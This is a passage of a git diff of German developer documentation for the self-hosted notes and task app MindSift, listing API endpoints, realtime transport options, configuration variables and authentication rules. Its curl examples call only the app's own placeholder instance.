| PUT | `/workspace/folders/shared/{id}/mount` | Eigenen Einhängepfad ändern (`mountPath`) |
| GET/POST | `/workspace/folders/shared/{id}/shares` | Freigaben geteilter Ordner (`permission`: `read`/`write`) |
| DELETE | `/workspace/folders/shared/{id}/shares/{shareId}` | Freigabe eines geteilten Ordners entfernen |
| GET/POST/DELETE | `/workspace/folders/shared/{id}/shares[/{shareId}]` | Freigaben (`permission`: `read`/`write`) |
| GET | `/workspace/tags`, `/workspace/tags/{tag}` | Tag-Übersicht und -Details |
| PUT | `/workspace/tags/{tag}/note` | Tag-Seite speichern (`content`) |
| GET/POST | `/documents` | Notizen auflisten; anlegen (`title`, `icon`, `folderPath`, `blocks`, `tags`, `isPinned`; `icon: ""` = ohne Symbol, fehlt es: 🗒️) |
| GET/POST | `/documents` | Notizen auflisten; anlegen (`title`, `icon`, `folderPath`, `blocks`, `tags`, `isPinned`) |
| GET/PUT/DELETE | `/documents/{id}` | Abruf; Ändern von `title`, `icon`, `folderPath`, `isPinned` (Blöcke → `400`, sie laufen über `/docs/{id}/sync`); Löschen = in den Papierkorb (Eigentümer) bzw. Freigabe verlassen (andere) |
| GET/DELETE | `/documents/trash` | Papierkorb auflisten (`id`, `kind` `note`/`folder`, `title`, `icon`, `folderPath`, `deletedAt`, `isOwner`, bei Ordnern `noteCount`; Notizen eines gelöschten Ordners stecken in dessen Eintrag) bzw. leeren (Notizen und Ordner) |
| GET/DELETE | `/documents/trash` | Papierkorb auflisten (`id`, `title`, `icon`, `folderPath`, `deletedAt`, `isOwner`) bzw. leeren |
| GET | `/documents/{id}/backlinks` | Notizen mit `[[Titel]]`-Link auf diese Notiz (nur sichtbare, ohne Papierkorb): `docId`, `title`, `icon`, `folderPath`, bis zu 5 `blocks` (`id`, `content`), `more` |
| POST | `/documents/{id}/restore` | Aus dem Papierkorb zurückholen (fehlender Ordner wird neu angelegt) |
| DELETE | `/documents/{id}/permanent` | Notiz im Papierkorb endgültig löschen |
| PUT | `/documents/{id}/move` | Ordner wechseln (`folderPath`) |
| POST | `/documents/{id}/blocks/{blockId}/enhanced-task` | Aus einem Block eine verknüpfte Aufgabe machen (`content`, `checked`) |
| GET/POST | `/documents/{id}/shares` | Notiz-Freigaben (`userId`/`email`/`teamId`, `permission`: `read`/`write`) |
| DELETE | `/documents/{id}/shares/{userId}` | Notiz-Freigabe entfernen |
| POST | `/documents/{id}/extract` | `{blockId, clientId}`: legt aus den Unterpunkten des Punkts eine eigene Notiz an (Titel = Text ohne Hashtags, gleicher Ordner, Freigaben übernommen, fremder Besitzer bekommt Schreibrecht) → `{document, link}`. Die Ursprungsnotiz ändert der Server nicht; der Editor ersetzt den Ast selbst durch `link` (normale eigene Änderung, Strg+Z möglich). Schreibrecht nötig; `409`, wenn jemand anderes im Ast schreibt; `400`, wenn der Punkt nur noch ein Link auf eine Notiz ist (ggf. mit Hashtags) |
| GET | `/push/key` | `{enabled, publicKey}` – öffentlicher VAPID-Schlüssel für `pushManager.subscribe` (in der Demo `enabled: false`) |
| GET | `/push/devices` | Eigene Geräte mit Push → `{devices: [{id, endpoint, device, createdAt}]}` |
| POST | `/push/subscribe` | `{endpoint, keys: {p256dh, auth}, device}` – Gerät anmelden (nur `https`-Endpunkte) |
| POST | `/push/unsubscribe` | `{endpoint}` – Gerät abmelden |
| POST | `/push/test` | Test-Benachrichtigung an alle eigenen Geräte → `{devices}`; `400` ohne Gerät |
| GET | `/journal` | Tage des eigenen Journals, neueste zuerst → `{days: [{date, docId, empty}]}` (`empty`: Notiz noch ohne Text; Tage im Papierkorb fehlen) |
| POST | `/journal/{date}` | Notiz des Tages (`JJJJ-MM-TT`) öffnen; gibt es noch keine, wird sie angelegt (Titel z. B. „Freitag, 30. Oktober 2026“, Icon 📅) → Dokument, `201` bei Neuanlage. Die Journal-Notizen sind normale Notizen (Teilen, Suche, Sync) |
| POST | `/documents/{id}/extract/undo` | Legt die ausgelagerte Notiz `{id}` wieder in den Papierkorb (nur ihr Ersteller) |
| POST | `/documents/{id}/inline` | `{blockId}`: Gegenstück zu `extract` für einen Punkt, der nur aus `[[Notiz]]` (ggf. mit Hashtags) besteht → `{sourceId, content, blocks}`: Text für den Punkt (Titel plus Hashtags) und die Punkte der Notiz mit neuen IDs (`level` 0 = direkt unter dem Punkt). Die verlinkte Notiz kommt in den Papierkorb; rückgängig mit `POST /documents/{sourceId}/restore`. Die Ursprungsnotiz ändert der Editor selbst. `400` kein Link-Punkt, `404` Notiz nicht gefunden, `403` fremde Notiz, `409` noch aus anderen Notizen verlinkt |
| POST | `/documents/{id}/merge` | `{sourceId}`: hängt die (eigene) Quellnotiz als Überschrift mit Unterpunkten an diese Notiz an, Quelle in den Papierkorb → `{targetId, sourceId, sourceTitle, headingId}` |
| POST | `/documents/{id}/merge/undo` | `{sourceId, headingId}`: Abschnitt wieder entfernen, Quelle wiederherstellen |
| POST | `/documents/{id}/media` | Bild oder Audio zu einer Notiz hochladen (`multipart/form-data`, Feld `file`; Schreibrecht nötig) → `{id, kind, mime, size, url}`. `415` falsches Format, `413` zu groß oder Kontingent voll |
| POST | `/documents/{id}/media/fetch` | Externes Bild kopieren: `{url}` (nur https, keine internen Adressen; nicht in der Demo) → wie oben |
| GET | `/media/{id}` | Datei abrufen (Leserecht auf eine Notiz, die sie zeigt), mit Range-Anfragen; sonst `404` |
| GET | `/link-preview?url=https://…` | Vorschau einer Web-Seite (`title`, `description`, `siteName`, `hasImage`, `hasIcon`, `ok`, `key`), vom Server geholt und 7 Tage zwischengespeichert; `422` ohne https, `403` in der Demo, `429` zu viele Abrufe |
| GET | `/link-preview/{key}/image` bzw. `/icon` | Bild bzw. Icon einer Vorschau |
| GET/POST/DELETE | `/documents/{id}/shares[/{userId}]` | Notiz-Freigaben (`userId`/`email`/`teamId`, `permission`: `read`/`write`) |
Der Inhalt einer Notiz (Blöcke) wird ausschließlich über `POST /docs/{id}/sync` geändert. `POST /documents` nimmt beim Anlegen weiterhin eine Start-Blockliste an; sie wird intern in Operationen umgerechnet.
@@ -275,15 +158,13 @@ Wiederholte Operationen (gleiche `opId`) werden nicht erneut angewendet; die Ant
| Methode | Pfad | Zweck |
|---|---|---|
| GET/POST | `/lists` | Listen; anlegen (`title`, `icon`, `listType`; `icon: ""` = ohne Symbol, fehlt es: 🛒) |
| GET/POST | `/lists` | Listen; anlegen (`title`, `icon`, `listType`) |
| GET/DELETE | `/lists/{id}` | Abruf mit Einträgen; Löschen |
| GET/POST | `/lists/{id}/shares` | Freigaben abrufen bzw. anlegen (`targetType`, `targetId`, `role`: `editor`/`viewer`) |
| DELETE | `/lists/{id}/shares/{shareId}` | Freigabe entfernen |
| GET/POST/DELETE | `/lists/{id}/shares[/{shareId}]` | Freigaben (`targetType`, `targetId`, `role`: `editor`/`viewer`) |
| POST | `/lists/{id}/items` | Eintrag (`content`, `category`, `quantity`) |
| PATCH | `/lists/{id}/items/{itemId}` | Abhaken (`isCompleted`) |
| PUT | `/lists/{id}/items/{itemId}` | Ändern (`content`, `category`, `quantity`) |
| DELETE | `/lists/{id}/items/{itemId}` | Löschen |
| POST | `/lists/{id}/items/{itemId}/move` | In eine andere Liste verschieben (`targetListId`); Bearbeitungsrecht in beiden Listen nötig, der Eintrag landet oben |
| POST/PUT | `/lists/{id}/items/reorder` | Reihenfolge/Kategorie (`items[{id, sortOrder, category, content}]`) |
| POST | `/lists/{id}/clear-completed` | Erledigte entfernen |
@@ -304,19 +185,14 @@ Wiederholte Operationen (gleiche `opId`) werden nicht erneut angewendet; die Ant
| PUT | `/admin/users/{id}/organization` | Organisation setzen (`organizationId`, leer = keine); entzieht Freigaben, Gruppen und Zuweisungen der alten |
| GET/POST | `/admin/organizations` | Organisationen mit `memberCount`; anlegen (`name`) |
| PUT/DELETE | `/admin/organizations/{id}` | Umbenennen (`name`); löschen (Mitglieder sind danach ohne Organisation) |
| PATCH/DELETE | `/admin/users/{id}` | `displayName`, `email`, `role`, `isActive`, `discordWebhookUrl`; löschen (bei wartenden Konten = ablehnen). `GET /admin/users` markiert wartende Konten mit `pendingApproval` |
| POST | `/admin/users/{id}/approve` | Wartendes Konto freigeben; die Person bekommt eine E-Mail (`409`, wenn es nicht wartet) |
| PATCH/DELETE | `/admin/users/{id}` | `displayName`, `email`, `role`, `isActive`, `discordWebhookUrl`; löschen |
| PUT | `/admin/users/{id}/password` | Passwort zurücksetzen |
| GET/POST | `/admin/invites` | Einladungen auflisten bzw. anlegen (`email`, `role`, `organizationId`, `validDays`, `maxUses` 1–1000; mehrfach verwendbare nicht an eine E-Mail gebunden). Antwort mit `maxUses`/`useCount`. Als Link: `/?invite=<CODE>` öffnet die Registrierung mit eingetragenem Code |
| POST | `/admin/invites/{id}/send` | Einladung per E-Mail (`email`); bindet einmalige Codes an diese Adresse; braucht SMTP |
| DELETE | `/admin/invites/{id}` | Einladung widerrufen/löschen |
| GET/PUT | `/admin/settings` | `instanceName`, `allowRegistration`, `sharingMode` (`private`/`organizations`/`open`), SMTP-Felder; ein Moduswechsel bereinigt Freigaben. `smtpPass` kommt nie zurück (`smtpPassSet` zeigt, ob eines gespeichert ist); leer = unverändert |
| GET/POST/DELETE | `/admin/invites[/{id}]` | Einladungen (`email`, `role`, `organizationId`, `validDays`) |
| GET/PUT | `/admin/settings` | `instanceName`, `allowRegistration`, `sharingMode` (`private`/`organizations`/`open`), SMTP-Felder; ein Moduswechsel bereinigt Freigaben |
| GET | `/admin/settings/sharing-impact?mode=` | Probelauf: wie viele Freigaben und Gruppen-Mitgliedschaften ein Wechsel entfernen würde (`affected`) |
| POST | `/admin/smtp/test` | Testmail (`toEmail`) |
| GET | `/admin/voice` | Aktive Spracherkennung (`mode`: `server`/`browser`/`off`), Einstellungen aus `STT_*` ohne Schlüssel, Grenzen und im Server-Modus ein frischer Zustand (`status.reachable`, `status.modelReady`) |
| GET/POST | `/admin/backups` | Datenbank-Abzüge auflisten bzw. sofort sichern (Abzug + alle Benutzer-Backups) |
| GET | `/admin/backups/{name}` | Datenbank-Abzug herunterladen |
| DELETE | `/admin/backups/{name}` | Datenbank-Abzug löschen (gibt die verbleibende Liste zurück; nicht in der Demo) |
## Beispiele
@@ -326,14 +202,7 @@ curl -X POST https://mindsift.example.com/api/v1/webhooks/ingest \
-H "X-API-Key: mindsift_sec_…" -H "Content-Type: application/json" \
-d '{"title":"Milch kaufen #einkauf","priority":"high","dueDate":"2026-11-01"}'
# Was heute ansteht (Recht tasks:read), z. B. für einen Home-Assistant-Sensor
curl "https://mindsift.example.com/api/v1/tasks?due=today&status=open" -H "X-API-Key: mindsift_sec_…"
# Aufgabe abhaken (Recht tasks:write)
curl -X PATCH https://mindsift.example.com/api/v1/thoughts/th_… \
-H "X-API-Key: mindsift_sec_…" -H "Content-Type: application/json" -d '{"isCompleted":true}'
# Einkaufsliste per API-Key ergänzen (Recht webhook:list oder lists:write)
# Einkaufsliste per API-Key ergänzen (Scope webhook:list)
curl -X POST https://mindsift.example.com/api/v1/webhooks/ingest \
-H "X-API-Key: mindsift_sec_…" -H "Content-Type: application/json" \
-d '{"target":"list_item","listId":"lst_…","content":"Hafermilch","quantity":"2"}'
+3 -5
View File
@@ -1,4 +1,4 @@
# Echtzeit: WebSocket, SSE und Long-Polling
# Echtzeit: WebSocket und SSE
Der Server verteilt Änderungen als JSON-Ereignisse an verbundene Clients. Die Ereignisse entstehen **nach** einer REST-Änderung; es gibt keinen Schreibkanal über die Verbindung. Implementierung: [hub.go](../../internal/ws/hub.go), Client: [api.ts](../../frontend/src/lib/api.ts).
@@ -10,7 +10,6 @@ Der Server verteilt Änderungen als JSON-Ereignisse an verbundene Clients. Die E
|---|---|---|
| WebSocket | `GET /api/v1/ws` (auch `/ws/lists/{id}`, `/ws/spaces/{id}`) | Ping alle 30 s, Lesefrist 60 s, Nachrichten bis 4 MB |
| SSE | `GET /api/v1/events` | Kommentar-Ping alle 15 s, Header `X-Accel-Buffering: no` |
| Long-Polling | `POST /api/v1/events/poll` → `{pollId}`, dann `GET /api/v1/events/poll/{pollId}?wait=25` | Antwort `{events: [...]}`, sobald Ereignisse da sind, spätestens nach `wait` s leer; `404` = abgelaufen, neu öffnen |
Der Client versucht zuerst WebSocket und wechselt in folgenden Fällen für die Sitzung des Tabs auf SSE:
@@ -19,9 +18,9 @@ Der Client versucht zuerst WebSocket und wechselt in folgenden Fällen für die
Über SSE liefert der Server zuerst `SSE_CONNECTED` mit einer `sseId`; erst dann gilt SSE als verbunden. Bleibt dieses erste Ereignis 5 s nach dem Öffnen aus, puffert ein Proxy den Stream: SSE wird für den Tab abgeschaltet. Räume werden über `POST /api/v1/events/rooms` (`sseId`, `room`, `action`: `join`/`leave`) abonniert.
Ohne WebSocket und SSE holt der Client die Ereignisse per **Long-Polling**: Er öffnet eine Poll-Verbindung (Räume als `rooms` gleich mitgeben oder später wie bei SSE über `POST /events/rooms` mit der `pollId` als `sseId`), der Server puffert ihre Ereignisse (bis 256), und jede Abfrage wartet bis zu 25 s. Wird eine Poll-Verbindung 2 Minuten nicht abgefragt, schließt der Server sie. Nur mit Sitzung, nicht mit API-Schlüssel. So kommen auch Aufgaben- und Listenänderungen hinter Proxys live an. Die Notiz-Synchronisation nutzt dann dieselbe Verbindung als Weckruf; ohne sie fällt sie auf ihr eigenes Long-Polling (`GET /docs/{id}/changes`) und zuletzt auf eine Abfrage alle 3 s zurück (siehe [modules/collaboration.md](../modules/collaboration.md)).
Ohne WebSocket und SSE nutzt die Notiz-Synchronisation Long-Polling (`GET /docs/{id}/changes`, bis 25 s), und wenn auch das dreimal scheitert, eine Abfrage alle 3 s (siehe [modules/workspace.md](../modules/workspace.md)).
**Authentifizierung:** Browser holen sich direkt vor dem Verbinden ein Einmal-Ticket (`POST /auth/stream-ticket` mit dem normalen `Authorization`-Header → `{ticket, expiresIn: 60}`) und hängen es als `?ticket=` an; es gilt 60 Sekunden und einmal und wird ungültig, sobald alle Sitzungen beendet werden. Andere Clients dürfen stattdessen den `Authorization`-Header schicken. Sitzungs-Tokens in der URL und API-Keys werden nicht angenommen (`401`). Bei Logout, „Alle Sitzungen beenden“, neuem Passwort und Deaktivierung trennt der Server alle Streams des Kontos; Clients mit gültiger Sitzung verbinden sich mit neuem Ticket neu. Mit gesetzter `BASE_URL` nimmt der WebSocket nur Verbindungen von dieser Adresse oder vom angefragten Host an.
**Authentifizierung:** Browser holen sich direkt vor dem Verbinden ein Einmal-Ticket (`POST /auth/stream-ticket` mit dem normalen `Authorization`-Header → `{ticket, expiresIn: 60}`) und hängen es als `?ticket=` an; es gilt 60 Sekunden und einmal und wird ungültig, sobald alle Sitzungen beendet werden. Andere Clients dürfen stattdessen den `Authorization`-Header schicken. Sitzungs-Tokens in der URL und API-Keys werden nicht angenommen (`401`). Bei Logout, „Alle Sitzungen beenden“, neuem Passwort und Deaktivierung trennt der Server alle Streams des Kontos; Clients mit gültiger Sitzung verbinden sich mit neuem Ticket neu. Mit gesetzter `BASE_URL` nimmt der WebSocket nur Verbindungen von dieser Adresse oder vom angefragten Host an ([FLAW-22](../flaws.md)).
**Räume:** Jeder Beitritt (Raum in der URL, `JOIN_ROOM`, SSE-Startparameter `rooms`/`docId`, `POST /events/rooms`) wird geprüft: `doc:<id>` nur mit Lesezugriff auf die Notiz, sonst muss die ID eine lesbare geteilte Liste sein. Nicht erlaubte Räume werden ignoriert, `POST /events/rooms` antwortet dann mit `403`. SSE-Räume kann nur der Besitzer der jeweiligen `sseId` ändern.
@@ -56,7 +55,6 @@ Client → Server versteht der Server nur: `{"event":"JOIN_ROOM","room":"<id>"}`
| `LIST_CREATED`, `LIST_UPDATED`, `LIST_DELETED`, `LIST_SHARED`, `LIST_UNSHARED`, `LIST_CLEARED` | Listenverwaltung | Benutzer bzw. Raum der Liste |
| `ITEM_CREATED`, `ITEM_UPDATED`, `ITEM_TOGGLED`, `ITEM_DELETED`, `ITEM_REORDERED` | Listeneinträge | Raum der Liste |
| `USER_PRESENCE` | Verbindung auf-/abgebaut (`onlineCount`) | Raum |
| `DEMO_RESET` | Periodischer Reset im Demo-Modus; Clients verwerfen lokale Caches und laden Daten neu | Alle aktiven Verbindungen |
| `SSE_CONNECTED` | Nur SSE, direkt nach Verbindung | Verbindung |
## Verhalten im Frontend
+18 -72
View File
@@ -5,10 +5,10 @@
```
Browser (React SPA, PWA-Manifest)
│ REST /api/v1/* Authorization: Bearer <JWT | mindsift_sec_…>
│ WebSocket /api/v1/ws Fallback: SSE /api/v1/events, dann Long-Polling /api/v1/events/poll
│ WebSocket /api/v1/ws Fallback: SSE /api/v1/events
▼
Go-Server (chi) ── internal/api Handler, Middleware, Alarm-Ticker
│ internal/ws Hub (Räume, Benutzer-Kanäle, SSE, Long-Polling)
│ internal/ws Hub (Räume, Benutzer-Kanäle, SSE)
│ internal/auth JWT, bcrypt, API-Key-Hash
▼ internal/config
SQLite (modernc.org/sqlite, WAL) ── internal/storage
@@ -30,7 +30,7 @@ Das Frontend liegt per `go:embed` im Binary ([cmd/server/main.go](../cmd/server/
| Pfad | Inhalt |
|---|---|
| `cmd/server/` | `main.go`, eingebettetes `dist/` |
| `internal/api/` | `server.go` (Server, Router mit allen Routen, Middleware, JSON-Helfer); Handler nach Bereich in `handlers_*.go` (`auth`, `account`, `thoughts`, `documents`, `folders`, `lists`, `tasklists`, `teams`, `admin`, `integrations`), `realtime.go` (WebSocket/SSE/Long-Polling), `alarms.go` (Ticker und Versand), `docsync.go`, `mail.go`, `netguard.go`, `password_reset.go` |
| `internal/api/` | `server.go` (Server, Router mit allen Routen, Middleware, JSON-Helfer); Handler nach Bereich in `handlers_*.go` (`auth`, `account`, `thoughts`, `documents`, `folders`, `lists`, `tasklists`, `teams`, `admin`, `integrations`), `realtime.go` (WebSocket/SSE), `alarms.go` (Ticker und Versand), `docsync.go`, `mail.go`, `netguard.go`, `password_reset.go` |
| `internal/storage/` | `sqlite.go` (Store, Schema, Migrationen); Datenlogik nach Bereich: `users.go`, `apikeys.go`, `thoughts.go` (inkl. Alarme), `tasklists.go`, `documents.go`, `folders.go`, `tags.go`, `lists.go`, `teams.go`, `system.go` (Einstellungen, Statistik, Export), dazu `visibility.go`, `docsync.go`, `search.go`, `trash.go`, `backlinks.go`, `recurrence.go` u. a. |
| `internal/domain/` | Strukturen (`models.go`), ID-Erzeugung, Tag-Extraktion |
| `internal/ws/` | `hub.go` |
@@ -38,7 +38,7 @@ Das Frontend liegt per `go:embed` im Binary ([cmd/server/main.go](../cmd/server/
| `internal/auth/` | Tokens und Passwörter |
| `internal/config/` | Umgebungsvariablen |
| `frontend/src/features/` | `triage`, `workspace`, `lists`, `teams`, `settings`, `capture`, `auth`, `help` |
| `frontend/src/lib/` | `api.ts` (REST-Client, Transport-Umschaltung WS/SSE/Long-Polling), `types.ts`, `markdown.tsx`, `theme.ts` |
| `frontend/src/lib/` | `api.ts` (REST-Client, Transport-Umschaltung WS/SSE), `types.ts`, `markdown.tsx`, `theme.ts` |
| `frontend/src/lib/docSync/` | Notiz-Synchronisation im Browser: Portierung von `internal/collab` (`model.ts`, `orderKey.ts`), Vergleich Editor-Liste → Operationen (`diff.ts`), `engine.ts`, IndexedDB (`persist.ts`), HTTP (`transport.ts`) |
| `e2e/` | Browser-Tests mit Playwright gegen einen echten Server (`e2e/run.sh`) |
| `frontend/src/themes/` | CSS pro Theme |
@@ -49,7 +49,7 @@ Das Frontend liegt per `go:embed` im Binary ([cmd/server/main.go](../cmd/server/
2. `storage.NewStore()` öffnet SQLite (`busy_timeout`, WAL, max. 8 Verbindungen) und führt `migrate()` aus.
3. SMTP-Werte aus der Umgebung werden in `system_settings` übernommen, sofern dort noch nichts steht.
4. Mit Demo-Flag legt `EnsureDemoAccounts` die Konten `admin/admin` und `user/user` an.
5. `api.NewServer` startet den **Alarm-Ticker** (jede Minute), die **Verdichtung des Notiz-Logs** (beim Start, dann alle 6 Stunden), die **Aufbewahrungsfristen** (2 Minuten nach dem Start, dann stündlich; nicht in der Demo) und baut den Router. Server-Timeouts: Lesen 15 s, Schreiben 30 s, Leerlauf 60 s. Beim Beenden wird sauber heruntergefahren.
5. `api.NewServer` startet den **Alarm-Ticker** (jede Minute), die **Verdichtung des Notiz-Logs** (beim Start, dann alle 6 Stunden) und baut den Router. Server-Timeouts: Lesen 15 s, Schreiben 30 s, Leerlauf 60 s. Beim Beenden wird sauber heruntergefahren.
## Konfiguration
@@ -58,79 +58,35 @@ Das Frontend liegt per `go:embed` im Binary ([cmd/server/main.go](../cmd/server/
| `PORT` | `8080` | HTTP-Port |
| `DATA_DIR` | `./data` (Container: `/data`) | Verzeichnis der Datenbank |
| `DATABASE_URL` | leer | `sqlite:///pfad/datei.db` oder Pfad; ohne Angabe `DATA_DIR/mindsift.db`. Postgres-URLs werden **nicht** unterstützt (siehe Hinweis) |
| `JWT_SECRET` | zufällig erzeugt, gespeichert in `$DATA_DIR/jwt.secret` | Signaturschlüssel der Tokens; bekannte Platzhalter werden ignoriert |
| `JWT_SECRET` | zufällig erzeugt, gespeichert in `$DATA_DIR/jwt.secret` | Signaturschlüssel der Tokens; bekannte Platzhalter werden ignoriert ([FLAW-04](flaws.md)) |
| `TRUSTED_PROXIES` | `private` | Proxys, deren `X-Forwarded-For`/`X-Real-IP` geglaubt wird (`private`, `all`, `none`, CIDR-Liste); `internal/api/clientip.go` |
| `LOGIN_PROTECTION` | `true` | Login-Sperre nach Fehlversuchen und Limits für Registrierung und „Passwort vergessen“ (`internal/api/loginguard.go`), `false` = aus |
| `LOGIN_PROTECTION` | `true` | Login-Sperre nach Fehlversuchen (`internal/api/loginguard.go`), `false` = aus |
| `BASE_URL` | `http://localhost:<PORT>` | Basis-URL der Instanz; explizit gesetzt Voraussetzung für das Passwort-Zurücksetzen per Mail |
| `TZ` | `Europe/Berlin` | Zeitzone für Fälligkeiten und Alarme; die Zeitzonendaten sind ins Binary eingebettet (`time/tzdata`) |
| `REGISTRATION_MODE`, `REGISTRATION_DOMAINS` | leer | Registrierung ohne Einladung (`closed`, `approval`, `domain`, `domain+approval`, `open`) und erlaubte E-Mail-Endungen. Gesetzt gewinnen sie über `system_settings` und sind im Admin-UI gesperrt (`registrationPolicy` in `internal/api/registration.go`). Wartende Konten: `is_active = 0` plus Zeile in `pending_registrations` (Migration 10) |
| `REGISTRATION_VERIFY_EMAIL` | leer | E-Mail-Bestätigung neuer Konten ohne Einladung (nur mit SMTP und `BASE_URL`). Token wie beim Passwort-Link nur als SHA-256 in `email_verifications` (Migration 11), 48 Stunden gültig; danach löscht die Verdichtung das unbestätigte Konto. Bei Freigabe-Modi erfahren Admins erst nach der Bestätigung davon |
| `ALLOW_REGISTRATION` | `false` | `true` = `REGISTRATION_MODE=open`; `false` (Standard der Vorlagen) lässt die Wahl dem Admin-UI |
| `ALLOW_REGISTRATION` | `false` | Startwert; die Einstellung im Admin-UI (`system_settings`) hat Vorrang |
| `LOG_LEVEL` / `DEBUG` | `info` / `false` | `debug`, `info`, `warn`, `error`; `DEBUG=true` erzwingt `debug` |
| `MINDA_DEMO` (auch `MINDSIFT_DEMO`, `DEMO_MODE`) | `false` | Demo-Konten anlegen. Die Demo verschickt nichts (keine Alarme, Test- oder Hinweismails, Webhooks), Server-Einstellungen sind schreibgeschützt, Passwort, E-Mail und Konten der gemeinsam genutzten Demo-Konten lassen sich nicht ändern (`notInDemo` in `internal/api/demo.go`). Wer auf einem Gerät noch kein Theme gewählt hat, sieht die Demo in Fjord Nacht (rund) statt im eckigen Standard (`DEMO_THEME` in `lib/theme.ts`) |
| `MINDA_DEMO` (auch `MINDSIFT_DEMO`, `DEMO_MODE`) | `false` | Demo-Konten anlegen |
| `DEMO_RESET_MINUTES` | `20` | Demo-Modus: periodischer Reset auf die Beispieldaten (`0` = aus). Feste IDs der Demo-Konten (`usr_demo_admin`, `usr_demo_user`) halten Sitzungen gültig; laufende Anfragen sperren den Reset (`internal/api/demo.go`, Streams ausgenommen); danach `DEMO_RESET` an alle Verbindungen, `/auth/status` liefert `demoNextReset`/`demoResetInSeconds`. |
| `SMTP_HOST`, `SMTP_PORT`, `SMTP_USER`, `SMTP_PASS`, `SMTP_FROM`, `SMTP_TLS` | leer / `587` / `true` | Mailversand, auch im Admin-UI einstellbar |
| `SMTP_FROM_NAME` | `MindSift` | Anzeigename des Absenders, wenn `SMTP_FROM` nur eine Adresse ist (`From: "MindSift" <adresse>`, der SMTP-Umschlag bleibt die reine Adresse); ein Name in `SMTP_FROM` hat Vorrang |
| `SMTP_SKIP_VERIFY` | `false` | Zertifikat des Mailservers nicht prüfen (nur interne Server mit selbstsigniertem Zertifikat) |
| `NOTIFY_DIGEST_MINUTES` | `5` | Benachrichtigungen (Freigaben, beobachtete Aufgaben …) werden gesammelt und höchstens alle so viele Minuten gebündelt verschickt |
| `VAPID_PUBLIC_KEY` / `VAPID_PRIVATE_KEY` | – | Schlüsselpaar für Web-Push; ohne Angabe einmal erzeugt und in `push_keys` gespeichert |
| `VAPID_SUBJECT` | `BASE_URL` (wenn https) | Kontakt für die Push-Dienste (`mailto:` oder `https://`) |
| `MEDIA_MAX_IMAGE_MB`, `MEDIA_MAX_AUDIO_MB` | `15` / `50` | Größtes Bild bzw. größte Audiodatei in Notizen in MB |
| `MEDIA_QUOTA_MB` | `0` | Speicherplatz für Medien pro Benutzer in MB (`0` = unbegrenzt) |
| `MEDIA_DEMO_MAX_MB` | `3` | Nur im Demo-Modus: maximale Dateigröße für Medien-Uploads in MB |
| `MCP_ENABLED` | leer | `false` schaltet `/api/v1/mcp` ab (antwortet `404`, auch ohne Anmeldung) und damit OAuth; `true` lässt es fest an. Leer: Schalter „KI-Agenten (MCP) erlauben“ in Administration → Server & Isolation (Standard: an) |
| `RETENTION_ALLOW_NEVER` | leer | `false` verbietet „nie“ bei den Aufbewahrungsfristen (Kontoeinstellungen → Aufbewahrung); wer „nie“ gewählt hatte, bekommt die Voreinstellung des Bereichs. `true` erlaubt es fest. Leer: Schalter in Administration → Server & Isolation (Standard: erlaubt) |
| `STT_URL` | leer | Eigene Spracherkennung: Basis-URL eines OpenAI-kompatiblen Whisper-Servers (z. B. `http://whisper:8000`, speaches). Gesetzt = Server-Modus, sonst Spracherkennung des Browsers; in der Demo immer Browser |
| `STT_MODEL`, `STT_LANGUAGE`, `STT_API_KEY` | `deepdml/faster-whisper-large-v3-turbo-ct2` / `de` / leer | Modell, Sprache (`auto` = erkennen), Schlüssel falls der Whisper-Server einen verlangt |
| `STT_DISABLED` | `false` | `true` blendet die Spracheingabe überall aus |
| `STT_ALLOW_BROWSER` | `true` | `false` verbietet die Spracherkennung des Browsers (Chrome/Edge schicken die Aufnahme an Google/Microsoft). Mit Whisper-Server entfällt dann die Auswahl „Whisper-Server / Browser“ in den Kontoeinstellungen; ohne Whisper-Server (und in der Demo) gibt es dann keine Spracheingabe. Mit `true` wählt jede Person selbst, Standard ist der Whisper-Server. |
| `STT_MAX_SECONDS`, `STT_MAX_UPLOAD_MB` | `600` / `25` | Längste Aufnahme (stoppt im Browser), größte Aufnahme |
| `STT_MAX_PARALLEL`, `STT_PER_USER_PER_HOUR`, `STT_TIMEOUT_SECONDS` | `1` / `60` / `120` | Gleichzeitige Erkennungen (weitere warten), Erkennungen pro Person und Stunde, Höchstdauer inkl. Warten |
| `STT_VAD_FILTER` | `true` | Bittet den Whisper-Server, Stille zu überspringen (`vad_filter`, speaches); weniger erfundene Wiederholungen. `false`, falls ein Server das Feld ablehnt. Unabhängig davon entfernt MindSift eine wörtlich wiederholte Schlusspassage. |
| `LEGAL_IMPRINT_URL`, `LEGAL_PRIVACY_URL` | leer | Impressum/Datenschutz als externer Link (nur `http(s)`) |
| `LEGAL_IMPRINT_CONTENT`, `LEGAL_PRIVACY_CONTENT` | leer | Impressum/Datenschutz als Markdown, angezeigt in einem Lesefenster |
| `LEGAL_IMPRINT_CONTENT_FILE`, `LEGAL_PRIVACY_CONTENT_FILE` | leer | Pfad zu einer Datei im Container mit Markdown-Inhalt für Impressum bzw. Datenschutz. Ohne URL und Text bleibt der Link unsichtbar. |
| `LEGAL_CUSTOM_LINK_LABEL`, `LEGAL_CUSTOM_LINK_URL` | leer | Eigener Link im globalen Desktop-Footer (nur `https://`, sonst ignoriert) |
| `LEGAL_IMPRINT_CONTENT`, `LEGAL_PRIVACY_CONTENT` (oder `…_CONTENT_FILE` mit Dateipfad) | leer | Impressum/Datenschutz als Markdown, angezeigt in einem Lesefenster. Ohne URL und Text bleibt der Link unsichtbar. |
Hinweis: `DATABASE_URL` mit `postgres…` führt dazu, dass der Standardpfad in `DATA_DIR` genutzt wird; Postgres ist nicht implementiert.
## Authentifizierung
- **Login** mit E-Mail, Benutzername (aus dem E-Mail-Präfix) oder `login`. Passwörter: bcrypt (`DefaultCost`).
- **Login-Sperre:** Fehlversuche zählen im Speicher in drei Töpfen: Konto + Adresse (3), Konto (20), Adresse (30), je innerhalb von 15 Minuten; ist einer voll, gibt es 15 Minuten lang `429` mit `Retry-After`. Unbekannte Namen zählen wie Konten (kein Erraten, welche existieren). Erfolg leert die Kontotöpfe, ein Passwort-Reset (Mail oder Admin) hebt die Sperre auf. Die Client-Adresse kommt nur von vertrauenswürdigen Proxys (`TRUSTED_PROXIES`). Dieselben Töpfe begrenzen pro Adresse Registrierungen (20) und „Passwort vergessen“ (10) je 15 Minuten; hier zählt jede Anfrage.
- **Einladungscodes:** `INV-` plus 100 Zufallsbits in Base32. Die Registrierung beansprucht den Code, bevor das Konto entsteht (kein doppeltes Einlösen).
